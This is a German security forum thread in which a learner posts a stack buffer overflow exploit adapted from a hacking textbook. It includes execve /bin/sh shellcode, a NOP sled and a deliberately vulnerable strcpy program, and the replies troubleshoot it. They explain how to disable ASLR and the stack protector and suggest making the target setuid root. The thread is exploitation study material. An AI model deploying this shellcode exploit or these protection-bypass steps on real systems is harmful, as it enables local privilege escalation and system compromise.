Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow)

Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste angepasst werden, da einiges nach gcc updates nicht mehr so ist, wie es früher mal war).
Code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
	
int i, offset;
long esp, ret, *addr_ptr;
char *ptr;
char *buffer = (char *)malloc(600);
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr: 0x%x\n", ret);


ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{
	*(addr_ptr++) = ret;
}	


for(i=0; i < 200; i++)
{
	buffer[i] = '\x90';
}

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{
	*(ptr++) = shellcode[i]; 
}

buffer[600-1] = 0;

execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;


}
Das nette Programm:
Code:
#include <cstring>

#include <iostream>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Das nette Programm stürzt ab: "Speicherzugriffsfehler". Weiss jemand, warum dies nicht funktioniert?

Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.

Ich bedanke mich schonmal für jede Hilfe ;).
 
Naja, das kann mehrere Ursachen haben. Andere Compiler(versionen/optionen) und Kernelversionen erzeugen anderen Code. Eventuell ist auch irgendein Stacksmashingschutz aktiv.
 
Original von NBBN
Code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
	__asm__("movl %esp, %eax");
}

Warum zur Hölle verwendest du diese Funktion, um den SP. zu ermitteln ?
Der Stackpointer ist in jedem Programm in jeder Function variable!
Also ESP_ImExploiter != ESP_ImVulnerablenProg.

MfG
 
Warum zur Hölle verwendest du diese Funktion, um den SP. zu ermitteln ?
Der Stackpointer ist in jedem Programm in jeder Function variable!
Also ESP_ImExploiter != ESP_ImVulnerablenProg.
Das wird gemacht, um wenigstens einen groben ANhaltspunkt zu haben wo der SP ist.
Das ganze und der richtige Offset kann zu relativ guten Ergebnissen führen (und es ist ganz schön old-sk00l).



Nun zu dir NBBN, erstmal den SSP (StackSmashingProtector) ausschalten, sofern das noch nicht geschehen ist:
# echo 0 > /proc/sys/kernel/randomize_va_space *
Es gibt zwar diverse Möglichkeiten, sowas zu umgehen, aber ich denke die sind atm noch zu fortgeschritten für dich.
.


Das nette Programm stürzt ab: "Speicherzugriffsfehler". Weiss jemand, warum dies nicht funktioniert?
Die Rückspurngaddresse stimmt nicht. Ob das jetzt an einem StackSmashignProtector oder am falschen Offset liegt, sei jetzt mal dahingestellt. Wahrscheinlicher ist eine Mischung aus beidem.


Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft.
Damit wirst du auch höchstwahrscheinlich Recht haben.

Gut, das heisst dann also: schmeiss deinen Debugger an und ermittle den korrekten Offset.
Falls du damit Probleme haben solltest, lass es uns wissen.

grüsse

* Falls du keine root-Rechte haben solltest (warum auch immer ;)), kannst du auch mal ein "setarch i686 -R" probieren. -R = Disables randomization of the virtual address space.
 
Hallo,

@lone.wolf: Das ist nicht mein Code, wie auch erwähnt...
@CiscoKid: Vielen Dank. Ich hab mir schon gedacht, dass eine SSP dahinter steckt, aber habe stattdessen geglaubt, dass sowas nicht standardmäßig aktiviert zu sein scheint. Den Rest bekomme ich alleine gebacken.

Mfg, NBBN.
 
Forbidden Code - stack (buffer) overflow

Hallo NBBN,

also ich hab das Beispiel auch die letzten Tage abgeschrieben und habe es zumindest unter UBUNTU 9.04 nicht zum Laufen bekommen und unter Mac OS x habe ich eben die Error-Msg "segmentation fault" bekommen.
Ich rate dir mal, einfach nur zum Test, lade dir mal Ubuntu 4.10 runter:
http://old-releases.ubuntu.com/releases/

dann hol dir durch:
sudo apt-get install gcc-3.3 den compiler und dann gehts schon los...
1) vuln.c compilieren, dann chown root vuln dann chmod +s vuln machen
2) ggc-3.3 -o exploit exploit.c ausführen und dann durch ./exploit ausführen...

dann müsste alles passen!

Es ist so, dass die neueren Linux Distributionen den Stack schützen, es gibt angeblich Möglichkeiten, diesen Stack-Schutz aufzuheben aber die letzten 2 Tage habe ich vergebens daran gearbeitet, denn auch wenn ich gcc -fno-stack-protector und -Wno-stack-protector -o exploit exploit.c eingegeben habe und auch die randomize_va_space auf 0 gesetzt habe, habe ich auch ein "segmentation fault" bekommen.

Falls du schon weitergekommen bist als ich, würde ich dich bitten, mir die Infos zukommen zu lassen!

Ansonsten führ es einfach mit Ubuntu 4.10 aus, diese Version hat noch keinen Stack Schutz implementiert!

Hoffe, du hast Freude am Probieren!


Liebe Grüße,
steppenwoelfin
 
Ähm das gehört jetzt zwar nicht hier hin aber fehlt bei der Funktion "sp()" nicht das Schlüsselwort "return" ?

Code:
unsigned long sp(void)  {  	__asm__("movl %esp, %eax");  }

Ich kenne mich mit asm leider nicht so aus und das verwirrt mich ein wenig :>
 
Achso danke.
Aber noch eine Frage, ich habe schon öfters eine "1" hinter einem asm Mnemonic gesehen, hat das irgendeine besondere Bedeutung ?
 
@nookstar: Was du meinst ist vermutlich keine 1 sondern ein l. :D Zum Beispiel bei movl.
Was soviel heißt wie move long.
 
Es ist so, dass die neueren Linux Distributionen den Stack schützen...

Nur der Details wegen. Es ist ein Compilerfeature und hat mit Linux nichts zu tun (eigentlich sind sie sogar mit die letzten die es integriert haben, zumindest @canary).
 
Forbidden Code

Hallo liebes GSI Team!

Bitte sieht euch dieses Forum mal genauer an, sind wirklich tolle Leute hier und man kann echt etwas über die Angreifbarkeit lernen und auch weitergeben, sofern man Lust hat!


Liebe Grüße,
Luna09 / Steppenwoelfin
 
Zurück
Oben